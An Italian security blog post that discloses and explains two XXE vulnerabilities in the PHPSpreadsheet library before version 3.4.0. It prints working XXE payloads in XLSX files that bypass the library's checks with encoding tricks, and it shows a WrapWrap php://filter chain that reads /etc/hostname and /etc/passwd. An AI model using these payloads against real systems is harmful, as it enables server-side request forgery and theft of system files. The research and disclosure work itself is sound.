logo-unlock-security

Analisi XXE 0day in PHPSpreadsheet < 3.4.0

Analisi XXE 0day in PHPSpreadsheet < 3.4.0

Durante l'esecuzione di un penetration test capita di analizzare applicazioni web basate su prodotti di terze parti o sviluppate da zero, ma in entrambi i casi sicuramente si farà uso di librerie esterne. Questa pratica tendenzialmente migliora sia la qualità del codice che la sua sicurezza, ma permette anche a noi penetration tester di svolgere analisi approfondite sul codice sorgente del componente per scovare nuove vulnerabilità e ottenere accesso all'applicazione.

È quello che è successo ad Antonio Rocco Spataro e Antonio Russo durante un penetration test per conto di Unlock Security su un'applicazione che fa uso della libreria PHPSpreadsheet, la principale libreria PHP open-source ad occuparsi di lettura e scrittura di fogli di calcolo in vari formati come Excel e LibreOffice Calc, che ad oggi conta più di 218 milioni di installazioni e più di 1.200 progetti che la usano come dipendenza.

In questo articolo andremo a ripercorrere passo dopo passo come è stato possibile scovare due vulnerabilità 0day per realizzare un attacco XXE bypassando sia le protezioni già presenti nella libreria, sia le successive fix degli sviluppatori.

Setup dell'ambiente di test

Come spesso accade in questi casi, sia per tutelare l'applicazione del cliente che per semplificare le analisi, viene creato un ambiente di test ad-hoc per condurre i test.

Per permettere a chiunque di poter studiare questa vulnerabilità abbiamo deciso di pubblicare un ambiente di test pronto all'uso utilizzando i devcontainer da utilizzare con VS Code. La struttura del progetto è la seguente:

.
├── composer.json
├── .devcontainer
│   ├── devcontainer.json
│   └── Dockerfile
├── index.php
├── payload.xlsx
└── .vscode
    └── launch.json

Il file composer.json contiene il nome e la versione delle librerie da includere nel progetto, in questo caso solamente PHPSpreadsheet in una qualunque versione vulnerabile precedente alla 3.4.0, noi abbiamo scelto la 3.3.0:

{
    "require": {
       "phpoffice/phpspreadsheet": "3.3.0"
    }
}

Il file .devcontainer/Dockerfile crea un ambiente di test con tutte le dipendenze necessarie al corretto funzionamento della libreria per i nostri scopi:

FROM mcr.microsoft.com/devcontainers/php:8-bullseye

# Install system dependencies
RUN export DEBIAN_FRONTEND=noninteractive && \
    apt-get update && \
    apt-get -y install --no-install-recommends \
        libpng-dev \
        libxml2-dev \
        libzip-dev

# Install PHP extensions
RUN docker-php-ext-install gd xml zip

Nel file .devcontainer/devcontainer.json sono specificate le istruzioni per utilizzare il Dockerfile, per inizializzare il progetto e installare su VS Code tutte le estensioni necessarie per analizzare il codice PHP con semplicità:

{
    "name": "Pentesting PHPSpreadsheet",
    "context": ".",
    "dockerFile": "Dockerfile",
    "customizations": {
        "vscode": {
            "extensions": [
                "xdebug.php-debug"
            ]
        }
    },
    "portsAttributes": {
        "9000": {
            "label": "PHP XDebug",
            "onAutoForward": "ignore"
        }
    },
    "postCreateCommand": "composer install"
}

A questo punto non rimane che creare un piccolo snippet di codice PHP che utilizzi PHPSpreadsheet per aprire il nostro payload in formato XLSX e stampare il contenuto delle celle del foglio di calcolo attivo:

<?php
require 'vendor/autoload.php';

use \PhpOffice\PhpSpreadsheet\Spreadsheet;
use \PhpOffice\PhpSpreadsheet\IOFactory;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx';
$inputFileName = 'payload.xlsx';

$reader = IOFactory::createReader($inputFileType);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());

A questo punto, installata l'estensione Dev Containers su VS Code siamo pronti per avviare il nostro ambiente di test e iniziare l'analisi delle vulnerabilità, ma non prima di aver spiegato brevemente il funzionamento del formato XLSX.

Il formato XLSX

I file XLSX rappresentano uno standard ampiamente utilizzato per la gestione dei fogli di calcolo. Un file XLSX è in realtà un archivio ZIP che contiene numerosi file XML strutturati secondo le specifiche dell'Office Open XML (OOXML).

Per comprendere meglio la struttura e i file principali che saranno coinvolti nella fase di exploitation della vulnerabilità creiamo un file XLSX di esempio:

Sample XLSX file

Salvato il file possiamo utilizzare l'utility unzip per vedere la struttura dei file contenuti:

$ unzip -l sample-file.xlsx

Archive:  sample-file.xlsx
  Length      Date    Time    Name
---------  ---------- -----   ----
      681  2025-03-02 12:32   xl/_rels/workbook.xml.rels
      878  2025-03-02 12:32   xl/workbook.xml
     2257  2025-03-02 12:32   xl/theme/theme1.xml
     4451  2025-03-02 12:32   xl/styles.xml
     2247  2025-03-02 12:32   xl/worksheets/sheet1.xml
      212  2025-03-02 12:32   xl/sharedStrings.xml
      571  2025-03-02 12:32   _rels/.rels
      731  2025-03-02 12:32   docProps/core.xml
      412  2025-03-02 12:32   docProps/app.xml
     1480  2025-03-02 12:32   [Content_Types].xml
---------                     -------
    13920                     10 files

All'interno di questo archivio troviamo documenti come workbook.xml che definisce la struttura generale del file e contiene i riferimenti ai fogli di calcolo:

<!-- xl/workbook.xml -->
...
<sheets>
    <sheet name="FirstSheet" sheetId="1" state="visible" r:id="rId2"/>
</sheets>
...

Il file sharedStrings.xml svolge un ruolo cruciale nella gestione delle stringhe di testo usate nelle celle. Invece di salvare il testo direttamente in ogni cella, tutte le stringhe uniche vengono salvate in questo file per essere riutilizzate più volte così da ridurre la ridondanza e ottimizzare lo spazio.

Nel file sharedStrings.xml l'elemento radice è <sst> (shared string table), che racchiude tutti gli elementi <si> (shared string item). Ogni <si> contiene il testo, solitamente in un elemento <t> (text), oppure una struttura più complessa denominata <r> (RichTextRun) per gestire testo formattato:

<!-- xl/sharedStrings.xml -->
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
   <si>
      <t xml:space="preserve">this is a string</t>
   </si>
</sst>

Il file sheet1.xml contiene i dati effettivi delle celle nel primo foglio. Le celle che contengono testo usano l'attributo t="s" per indicare che il loro contenuto è un riferimento alla shared string table. All'interno della cella, l'elemento <v> contiene un indice numerico che punta alla posizione della stringa all'interno di sharedStrings.xml.

<!-- xl/worksheets/sheet1.xml -->
...
<sheetData>
    <row r="1" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false">
        <c r="A1" s="0" t="s">
            <v>0</v>
        </c>
    </row>
</sheetData>
...

Ogni file XML, quindi, ha un ruolo preciso nel definire l’aspetto, i dati e la formattazione del documento.

PHPSpreadsheet e le vulnerabilità XXE

Considerato l'uso estensivo di file XML verrebbe subito da pensare di utilizzare un semplice payload XXE per leggere file del sistema o per fare chiamate HTTP. Un modo di fare questo potrebbe essere scompattare il file XLSX, modificare uno dei file XML inserendo il payload malevolo, ricreare l'archivio zip con estensione XLSX e aprirlo con PHPSpreadsheet.

Facciamo un tentativo modificando il file sharedStrings.xml come segue:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE sst [
    <!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
    %ext;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
   <si>
      <t xml:space="preserve">&xxe;</t>
   </si>
</sst>

In questo caso ci aspettiamo che un parser vulnerabile a XXE legga il file sharedStrings.xml e vada a fare una richiesta HTTP all'indirizzo specificato per caricare un file DTD esterno. Avviamo lo snippet di codice nell'ambiente di test per vedere il risultato:

Fatal error: Uncaught PhpOffice\PhpSpreadsheet\Reader\Exception: Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks in /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php:82

Stack trace:
#0 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php(123): PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner->scan('<?xml version="...')
#1 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php(700): PhpOffice\PhpSpreadsheet\Reader\Xlsx->loadZip('xl/sharedString...', 'http://schemas....')
#2 /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/BaseReader.php(194): PhpOffice\PhpSpreadsheet\Reader\Xlsx->loadSpreadsheetFromFile('./assets/sample...')
#3 /workspaces/phpspreadsheet/index.php(13): PhpOffice\PhpSpreadsheet\Reader\BaseReader->load('./assets/sample...')
#4 {main}
  thrown in /workspaces/phpspreadsheet/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php on line 82

PHPSpreadsheet individua il tentativo di XXE e lo blocca correttamente, ma come avviene il controllo?

I controlli di sicurezza di PHPSpreadsheet

Come ci suggerisce lo stacktrace precedente, i controlli di sicurezza di PHPSpreadsheet sono implementati nella classe PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner, in particolare nel metodo scan($xml) che si presenta così:

public function scan($xml): string
{
    $xml = "$xml";

    $xml = $this->toUtf8($xml);

    // Don't rely purely on libxml_disable_entity_loader()
    $pattern = '/\\0?' . implode('\\0?', str_split($this->pattern)) . '\\0?/';

    if (preg_match($pattern, $xml)) {
        throw new Reader\Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
    }

    // …
}

Il controllo quindi avviene cercando nel file XML un'occorrenza della stringa <!DOCTYPE eventualmente intervallata da byte nulli (\0<\0!\0D\0O\0C\0T\0Y\0P\0E\0) per gestire anche il caso in cui si utilizzi una codifica come UTF-16 (comune in Windows).

Prima di fare questo il file viene convertito in UTF-8 dal metodo toUtf8($xml) il cui codice è il seguente:

private function toUtf8(string $xml): string
{
    $charset = $this->findCharSet($xml);
    if ($charset !== 'UTF-8') {
        $xml = self::forceString(mb_convert_encoding($xml, 'UTF-8', $charset));

        $charset = $this->findCharSet($xml);
        if ($charset !== 'UTF-8') {
            throw new Reader\Exception('Suspicious Double-encoded XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
        }
    }

    return $xml;
}

Per individuare la codifica in uso viene utilizzato il metodo findCharSet($xml) che cerca occorrenze della stringa encoding="<codifica>" gestendo eventuali spazi e l'uso di apici singoli o doppi. Se viene trovata la dichiarazione di una codifica viene restituita, altrimenti a default viene restituito il valore UTF-8.

private function findCharSet(string $xml): string
{
    $patterns = [
        '/encoding\\s*=\\s*"([^"]*]?)"/',
        "/encoding\\s*=\\s*'([^']*?)'/",
    ];

    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $xml, $matches)) {
            return strtoupper($matches[1]);
        }
    }

    return 'UTF-8';
}

CVE-2024-47873

I controlli di sicurezza di PHPSpreadsheet visti sopra sembrano a prima vista tanto semplici quanto efficaci, ma lo sono davvero? In quale condizione è possibile passare tutti i controlli pur inserendo un payload XXE?

La risposta viene dalla specifica del formato XML, in particolare la sezione "Autodetection of Character Encodings (Non-Normative)" che dice che poiché ogni entity XML deve cominciare con la dichiarazione della codifica in uso e che i primi caratteri devono quindi sempre essere <?xml, allora ogni parser è in grado, leggendo dai 2 ai 4 caratteri, di capire quale codifica è in uso seguendo la tabella seguente:

  • 00 00 00 3C, 3C 00 00 00, 00 00 3C 00, 00 3C 00 00 corrisponde a UCS-4 o una qualsiasi altra codifica a 32 bit in cui i caratteri ASCII sono codificati come valori ASCII.
  • 00 3C 00 3F corrisponde a UTF-16BE, ISO-10646-UCS-2 (big endian) o altre codifiche a 16 bit in big endian in cui i caratteri ASCII sono codificati come valori ASCII.
  • 3C 00 3F 00 corrisponde a UTF-16LE, ISO-10646-UCS-2 (little endian) o altre codifiche a 16 bit in little endian in cui i caratteri ASCII sono codificati come valori ASCII.
  • 3C 3F 78 6D corrisponde a UTF-8, ISO 646, ASCII, ISO 8859 (parzialmente), Shift-JIS, EUC o altre codifiche a 7 o 8 bit oppure codifiche a lunghezza variabile in cui i caratteri ASCII mantengono la loro posizione, lunghezza e valori.
  • 4C 6F A7 94 corrisponde alla codifica EBCDIC

Dato che la funzione scan($xml) rileva un tentativo di XXE solo nei casi in cui sia presente la stringa <!DOCTYPE oppure la stringa \0<\0!\0D\0O\0C\0T\0Y\0P\0E\0, allora possiamo utilizzare una codifica a 32 bit che inserisca più di un byte nullo prima di ogni carattere. In questo modo la stringa risultante sarà ad esempio \0\0\0<\0\0\0!\0\0\0D\0\0\0O\0\0\0C\0\0\0T\0\0\0Y\0\0\0P\0\0\0E\0\0\0 (3 byte nulli che precedono ogni carattere ASCII). A questo scopo possiamo usare ad esempio la codifica UTF-32BE o UTF-32LE.

A questo punto alcuni di voi potrebbero obiettare che il nostro payload prima di essere controllato viene convertito in UTF-8, di fatto invalidando il ragionamento appena fatto eliminando i byte nulli.

Diamo un'occhiata di nuovo all'implementazione ai metodi toUtf8($xml) e findCharSet($xml):

private function toUtf8(string $xml): string
{
    $charset = $this->findCharSet($xml);
    if ($charset !== 'UTF-8') {
        $xml = self::forceString(mb_convert_encoding($xml, 'UTF-8', $charset));

        $charset = $this->findCharSet($xml);
        if ($charset !== 'UTF-8') {
            throw new Reader\Exception('Suspicious Double-encoded XML, spreadsheet file load() aborted to prevent XXE/XEE attacks');
        }
    }

    return $xml;
}

private function findCharSet(string $xml): string
{
    $patterns = [
        '/encoding\\s*=\\s*"([^"]*]?)"/',
        "/encoding\\s*=\\s*'([^']*?)'/",
    ];

    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $xml, $matches)) {
            return strtoupper($matches[1]);
        }
    }

    return 'UTF-8';
}

Osservando meglio notiamo che la conversione in UTF-8 viene fatta solamente quando viene dichiarato un encoding diverso da UTF-8, ma l'encoding in uso viene rilevato con delle espressioni regolari che non tengono in considerazione possibili byte nulli; e se nessuna delle espressioni regolari rileva la codifica, allora a default viene restituito "UTF-8". Quindi dato che nel nostro payload anche la dichiarazione dell'encoding è in UTF-32BE, non sarà rilevata e non avverrà alcuna conversione.

Nonostante non avvenga nessuna conversione del nostro payload XML, il fatto che possa comunque funzionare deriva dal fatto che libxml2 che è la libreria su cui si basa PHPSpreadsheet per il parsing, segue lo standard e riesce a rilevare la corretta codifica leggendo i primi 4 byte del payload.

Detto questo, creiamo il nostro payload in UTF-32BE. A questo scopo utilizziamo CyberChef, un tool online che permette tra le altre cose di fare conversioni tra codifiche:

Payload in UTF-32BE encoding

Copiamo quindi il payload nella finestra degli input, selezioniamo la codifica in UTF-32BE e salviamo il file risultante sovrascrivendo il file sharedStrings.xml. Ricreiamo l'archivio zip con estensione XLSX ed eseguiamo la PoC ricordandoci di mettere in ascolto un server HTTP sulla porta 1337, ad esempio con php -S 127.0.0.1:1337:

HTTP request via XXE

La fix per correggere il problema

La prima fix proposta dagli sviluppatori di PHPSpreadsheet è stata quella di modificare l'espressione regolare responsabile di individuare il doctype con una versione che considerasse la presenza di più byte nulli invece che di uno solo, quindi passare da questo:

$pattern = '/\\0?' . implode('\\0?', str_split($this->pattern)) . '\\0?/'

a questo:

$pattern = '/\0*' . implode('\0*', mb_str_split($this->pattern, 1, 'UTF-8')) . '\0*/'

Il bypass della fix

I più attenti sicuramente ricorderanno che tra le codifiche accettate e automaticamente individuate c'è anche la EBCDIC-INT che non utilizza byte nulli, eludendo di nuovo i controlli.

Payload in EBCDIC encoding

La soluzione a questo è stata quella di limitare l'uso della codifica EBCDIC nel metodo findCharSet($xml):

private function findCharSet(string $xml): string
{
    if (substr($xml, 0, 4) === "\x4c\x6f\xa7\x94") {
        throw new Reader\Exception('EBCDIC encoding not permitted');
    // …
}

CVE-2024-48917

Dopo il rilascio della nuova versione di PHPSpreadsheet che risolveva il problema descritto finora, Antonio Rocco Spataro e Antonio Russo hanno continuato l'analisi della libreria dopo aver notato un altro possibile metodo per ottenere nuovamente XXE.

Torniamo sul metodo findCharSet($xml) visto prima:

private function findCharSet(string $xml): string
{
    $patterns = [
        '/encoding\\s*=\\s*"([^"]*]?)"/',
        "/encoding\\s*=\\s*'([^']*?)'/",
    ];

    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $xml, $matches)) {
            return strtoupper($matches[1]);
        }
    }

    return 'UTF-8';
}

Le due espressioni regolari vengono utilizzate in un ciclo che termina non appena viene trovata un'occorrenza nel file XML della stringa encoding="<codifica>" (con i doppi apici) oppure della stringa encoding='<codifica>' (con l'apice singolo).

Se però il file XML contiene una corrispondenza per entrambe le espressioni regolari, allora la funzione restituisce sempre il valore scritto con i doppi apici, cioè la prima espressione regolare che viene controllata.

Quindi nel caso si scriva ad esempio <?xml version="1" encoding='A' encoding="B">, l'encoding risultante sarebbe "B" e lo stesso avverrebbe se il file fosse del tipo:

<?xml version="1" encoding='A'>
<root>
    <aTag attribute="value">text</aTag>
    <!--encoding="B"-->
</root>

Ma in che modo questo ci è utile? Abbiamo già visto nella CVE precedente che se il metodo scan($xml) riceve un XML in una codifica differente da UTF-8 o UTF-16 non è in grado di riconoscere la presenza di <!DOCTYPE>, mentre lo è libreria libxml2.

Quindi abbiamo una nuova vulnerabilità XXE se riusciamo a creare un payload con una codifica tale che venga riconosciuto da PHPSpreadsheet come UTF-8 (quindi non convertito né bloccato), ma letto correttamente da libxml2.

Abbiamo visto prima che tra le codifiche che ogni parser XML deve essere in grado di riconoscere ci sono tutte quelle a 7 bit come UTF-7. Queste codifiche vengono riconosciute se l'inizio del file XML è 3C 3F 78 6D (cioè la stringa <?xml), ma dato che più codifiche iniziano con questa sequenza, è importante che l'attributo encoding='UTF-7' sia presente per indicare a libxml2 in che modo leggere il resto del file.

La caratteristica peculiare di UTF-7, però, è che per l'encoding utilizza caratteri ASCII e questo permette di mischiare porzioni di testo valide come UTF-8 e porzioni codificate in UTF-7. Questo ci permette di poter modificare tramite encoding anche un solo carattere, ad esempio potremmo codificare il carattere < in +ADw-!DOCTYPE e non è più riconoscibile da PHPSpreadsheet.

Il payload risultante è quindi:

<?xml version = "1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
    <!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
    %ext;
]>

   <si>
      <t xml:space="preserve">this is a string</t>
   </si>

In questo caso, però, la presenza necessaria di encoding='UTF-7' permette a PHPSpreadsheet di individuare l'encoding in uso e convertire il file XML in UTF-8 riuscendo così a riconoscere il payload malevolo. Per bypassare questo problema potremmo aggiungere alla fine del file XML il commento <!--encoding="UTF-8"-->.

Il payload finale sarà quindi:

<?xml version = "1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
    <!ENTITY % ext SYSTEM "http://127.0.0.1:1337/we_got_xxe">
    %ext;
]>

   <si>
      <t xml:space="preserve">this is a string</t>
   </si>

<!--encoding="UTF-8"-->

Inseriamo di nuovo il payload in un file XLSX, lo eseguiamo e verifichiamo il risultato:

Check bypassed via fake encoding

Il check effettivamente viene bypassato e si ottiene poco dopo la richiesta HTTP all'indirizzo http://127.0.0.1:1337/we_got_xxe.

Da blind SSRF ad arbitrary file read

Finora abbiamo dimostrato come è possibile ottenere blind SSRF tramite XXE. Si potrebbe pensare che basti cambiare il payload XXE per poter leggere ed esfiltrare dati, ad esempio qualcosa come:

<!DOCTYPE sst [
    <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
   <si>
      <t xml:space="preserve">&xxe;</t>
   </si>
</sst>

Purtroppo nella configurazione di default di libxml non è abilitata l'opzione LIBXML_NOENT che permette la sostituzione delle entity in un file XML. È importante notare però che questa opzione agisce solamente per le entity esterne, mentre non ha effetto per le sostituzioni con entity interne al file XML. Questo significa che se usassimo un payload come il seguente, la sostituzione avrebbe effetto e nella prima cella del file XLSX troveremmo la stringa "a sample string":

<!DOCTYPE sst [
    <!ENTITY xxe "a sample string">
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
   <si>
      <t xml:space="preserve">&xxe;</t>
   </si>
</sst>

Ma come è possibile sfruttare questo comportamento per ottenere il contenuto di un file? Supponiamo di partire da questo payload:

<!DOCTYPE sst [
    <!ENTITY % hostname SYSTEM "file:///etc/hostname">
    %hostname;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
   <si>
      <t xml:space="preserve">&xxe;</t>
   </si>
</sst>

Questo payload inserisce dentro la variabile hostname (quindi nel file XML dove compare %hostname;) il contenuto del file /etc/hostname e poi cerca una entity xxe per fare la sostituzione successiva.

Ora, se per assurdo il nostro hostname fosse <!ENTITY xxe "a very unusual hostname">, allora verrebbe inserita nel file XML una nuova entity di nome xxe e la sostituzione avrebbe effetto scrivendo la stringa "a very unusual hostname" nelle stringhe del file sharedStrings.xml.

La domanda quindi è: esiste un modo di leggere il contenuto di un file forzando l'aggiunta di un prefisso e un suffisso?

La risposta è sì e si chiama WrapWrap, un tool realizzato da Ambionics che crea una catena di gadget di php://filter proprio con lo scopo di aggiungere un prefisso e un suffisso arbitrari al contenuto di un file.

Il tool utilizza una serie di conversioni tra encoding differenti per stampare caratteri arbitrari, ad esempio:

conversions = {
    b"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
    b"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
    b"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
    b"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
    b"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
    b"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
    b"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
    b"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
    b"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
    b"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
    b"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
    b"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
    b"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
    b"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
    b"C": "convert.iconv.UTF8.CSISO2022KR",
    b"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
    b"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
    b"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
    # …
}

Il tool prende in input il path al file da leggere, il prefisso e il suffisso da aggiungere e il numero di byte del file da leggere:

python wrapwrap.py --help
usage: wrapwrap.py [-h] [-o OUTPUT] [-p PADDING_CHARACTER] [-f] path prefix suffix nb_bytes

Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.

Example:

    $ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
    [*] Dumping 108 bytes from /etc/passwd.
    [+] Wrote filter chain to chain.txt (size=88781).
    $ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
    <root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>

positional arguments:
  path                  Path to the file
  prefix                A string to write before the contents of the file
  suffix                A string to write after the contents of the file
  nb_bytes              Number of bytes to dump. It will be aligned with 9

options:
  -h, --help            show this help message and exit
  -o, --output OUTPUT   File to write the payload to. Defaults to chain.txt
  -p, --padding-character PADDING_CHARACTER
                        Character to pad the prefix and suffix. Defaults to `M`.
  -f, --from-file       If set, prefix and suffix indicate files to load their value from, instead of the value itself

Nel nostro caso, quindi, possiamo digitare:

python wrapwrap.py /etc/hostname "<\!ENTITY xxe '" "'>" 54
[*] Dumping 54 bytes from /etc/hostname.
[+] Wrote filter chain to chain.txt (size=49312).

L'output del comando è qualcosa del tipo:

php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|
    …
convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/etc/hostname

Il payload finale per esfiltrare il file /etc/hostname sarà quindi:

<?xml version="1.0" encoding='UTF-7'?>
+ADw-!DOCTYPE sst [
    <!ENTITY % hostname SYSTEM "PHP_FILTER_URL_GENERATED_BY_WRAPWRAP" >
    %hostname;
]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">
    <si>
        <t xml:space="preserve">&xxe;</t>
    </si>
</sst>
<!--encoding="UTF-8"-->
/etc/hostname via XXE

Lo stesso si può fare per altri file come /etc/passwd semplicemente sostituendo il nome del file all'interno della catena di filtri PHP:

/etc/passwd via XXE

Conclusioni

Il team di PHPSpreadsheet ha risposto prontamente alle segnalazioni di Antonio Rocco Spataro e Antonio Russo, invitandoli a collaborare per risolvere il problema. A partire dalla versione 3.4.0 la libreria risolve le problematiche segnalate re-implementando completamente i metodi vulnerabili.

Francesco Marano
Francesco Marano
Founder | Cyber Security Consultant
www.unlock-security.it

I'm an offensive cyber security expert with several years of experience as penetration tester and team leader.I love making software do things other than what they were designed to do!I do security research to find new bugs and new ways to get access to IT assets. I'm a speaker at events talking about my research to share my findings and improve the awareness about cyber security issues.

Related Posts